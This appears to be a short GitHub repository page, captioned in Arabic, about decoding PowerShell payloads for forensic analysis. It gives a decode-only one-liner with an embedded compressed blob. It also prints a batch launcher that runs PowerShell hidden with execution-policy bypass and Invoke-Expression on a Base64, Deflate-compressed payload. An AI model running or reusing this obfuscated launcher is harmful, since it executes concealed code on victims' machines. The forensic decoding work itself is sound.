jas502n/powshell-decode-payloadفك ترميز حمولات PowerShell للأدلة الجنائية
sal a New-Object;(a IO.StreamReader((a IO.Compression.GZipStream([IO.MemoryStream][Convert]::FromBase64String('xxxx'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()
sal a New-Object;(a IO.StreamReader((a IO.Compression.GZipStream([IO.MemoryStream][Convert]::FromBase64String('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'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()
تحليل جنائي لفك ترميز حمولات PowerShell
@echo off
if %PROCESSOR_ARCHITECTURE%==x86 (powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\"nVVNj9s2EL37VxCGDjbWWlDfUowFkjQoEKAoCuwiORg+UBKVFSJLhiSn3rT979V78ihNeylyGXI4nDffpFOoB/V6vTq8a5r3p3PXj5v1Z9u3tgn8+7Jp1tujOl/ypi7UMJpxWux1nOTqfTv+NvbqQ92PF9O8aZqu2NzOft+pS92O6npbX27r1+3+h+381Fsz2qfnaSnFzuWG+2Wnvlm+7f5h+3byb+un4UvRj//H9smeBjtu/ou8RLV+vXK6KZFvytJ9ejlb5U46ue3f2apu67HuWuUUyv3VnKxaf6zbwF8rt5244WwKq3jy86UtcHNQ7tkMw/jcX1bO9cHpXr36Lsl6p6+e1liCeQn1dq8Ob19GezgenQEV1dfc4EIxkTiZSBFNpAxAMrC+7JJwIj5IBRJZqOFeAWnuAT+dSMqzeCIa9wIIIrIVSCAsddOI3gEZUkPdHHggpZZ7Bv4F8CWAhsbO4swHfFCCwFrJM0g9qOVwKEsktpRJIDJQDE1CUEEtgjSDaylIVUpsFhlKmYOSOYU16MYQ5NAtc/Evxq7CZQ2UnGkCG0EaMs9AMRCUMO6lwob0CgApruQEgI0kF3fnYIBSwY2KmWRsVsJKYShBXlIgB0bgC7B+IIIwlGRbqBXQMNjFWi5bqEWAT8DqQgRpIgWN2Rb5UhlI86XIFqAZgvG1+BzDPx1JlJp2Yyl3yFYppVVYD17xCOVLNhiWz3rAjQSsZWLZnbgSIe1+JoIArhX0IJU+YICsNOvGHgqBFzF8RFkyXjYXPWXNwcaZSKNQ0mljgfKxS0AM5whQRi+OI47CSvHYwF4mNTeLp8YXXWaSLcWasw+yTNoiYY3YxYCPFl27tF7FXiuljBnUwkTcyOZnYncbRI4uExtbSYnPSWGRkyU5RhwK6DjTjrpxSOaWB8vRSI00nEEwsSdFZsIINV8G64FkyxvBCfWXJ4iTPJcCyHN7J+IuI+eLVHCIOUeA8gGVccCWTJbAywDPwYnpPbtuaR9WK1zmgy8S35d5XJawkmXi+ZCx/zj7c0G/DTZB+TYZcZxnIcJKlleFxUsiyQEbLrPSXExxtpSWYTHKykih+HrzueZUsH34YnL8MnjAoeMkJ9QFa/V+VXW92jj1g947tXIbOzFDcf+LbT+Nz663nU7v7rbqD/w6t2/vMP97x41zvX/qJibwN9s7p97u1KR6cOrjTnlb9afqLqPbXppm/9fK+cp/67tPe/Jg51x3WPBfPY6mH93Hxtqzch9t0bWlwrem9d8=\"))))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();") else (%WinDir%\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\"nVVNj9s2EL37VxCGDjbWWlDfUowFkjQoEKAoCuwiORg+UBKVFSJLhiSn3rT979V78ihNeylyGXI4nDffpFOoB/V6vTq8a5r3p3PXj5v1Z9u3tgn8+7Jp1tujOl/ypi7UMJpxWux1nOTqfTv+NvbqQ92PF9O8aZqu2NzOft+pS92O6npbX27r1+3+h+381Fsz2qfnaSnFzuWG+2Wnvlm+7f5h+3byb+un4UvRj//H9smeBjtu/ou8RLV+vXK6KZFvytJ9ejlb5U46ue3f2apu67HuWuUUyv3VnKxaf6zbwF8rt5244WwKq3jy86UtcHNQ7tkMw/jcX1bO9cHpXr36Lsl6p6+e1liCeQn1dq8Ob19GezgenQEV1dfc4EIxkTiZSBFNpAxAMrC+7JJwIj5IBRJZqOFeAWnuAT+dSMqzeCIa9wIIIrIVSCAsddOI3gEZUkPdHHggpZZ7Bv4F8CWAhsbO4swHfFCCwFrJM0g9qOVwKEsktpRJIDJQDE1CUEEtgjSDaylIVUpsFhlKmYOSOYU16MYQ5NAtc/Evxq7CZQ2UnGkCG0EaMs9AMRCUMO6lwob0CgApruQEgI0kF3fnYIBSwY2KmWRsVsJKYShBXlIgB0bgC7B+IIIwlGRbqBXQMNjFWi5bqEWAT8DqQgRpIgWN2Rb5UhlI86XIFqAZgvG1+BzDPx1JlJp2Yyl3yFYppVVYD17xCOVLNhiWz3rAjQSsZWLZnbgSIe1+JoIArhX0IJU+YICsNOvGHgqBFzF8RFkyXjYXPWXNwcaZSKNQ0mljgfKxS0AM5whQRi+OI47CSvHYwF4mNTeLp8YXXWaSLcWasw+yTNoiYY3YxYCPFl27tF7FXiuljBnUwkTcyOZnYncbRI4uExtbSYnPSWGRkyU5RhwK6DjTjrpxSOaWB8vRSI00nEEwsSdFZsIINV8G64FkyxvBCfWXJ4iTPJcCyHN7J+IuI+eLVHCIOUeA8gGVccCWTJbAywDPwYnpPbtuaR9WK1zmgy8S35d5XJawkmXi+ZCx/zj7c0G/DTZB+TYZcZxnIcJKlleFxUsiyQEbLrPSXExxtpSWYTHKykih+HrzueZUsH34YnL8MnjAoeMkJ9QFa/V+VXW92jj1g947tXIbOzFDcf+LbT+Nz663nU7v7rbqD/w6t2/vMP97x41zvX/qJibwN9s7p97u1KR6cOrjTnlb9afqLqPbXppm/9fK+cp/67tPe/Jg51x3WPBfPY6mH93Hxtqzch9t0bWlwrem9d8=\"))))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();")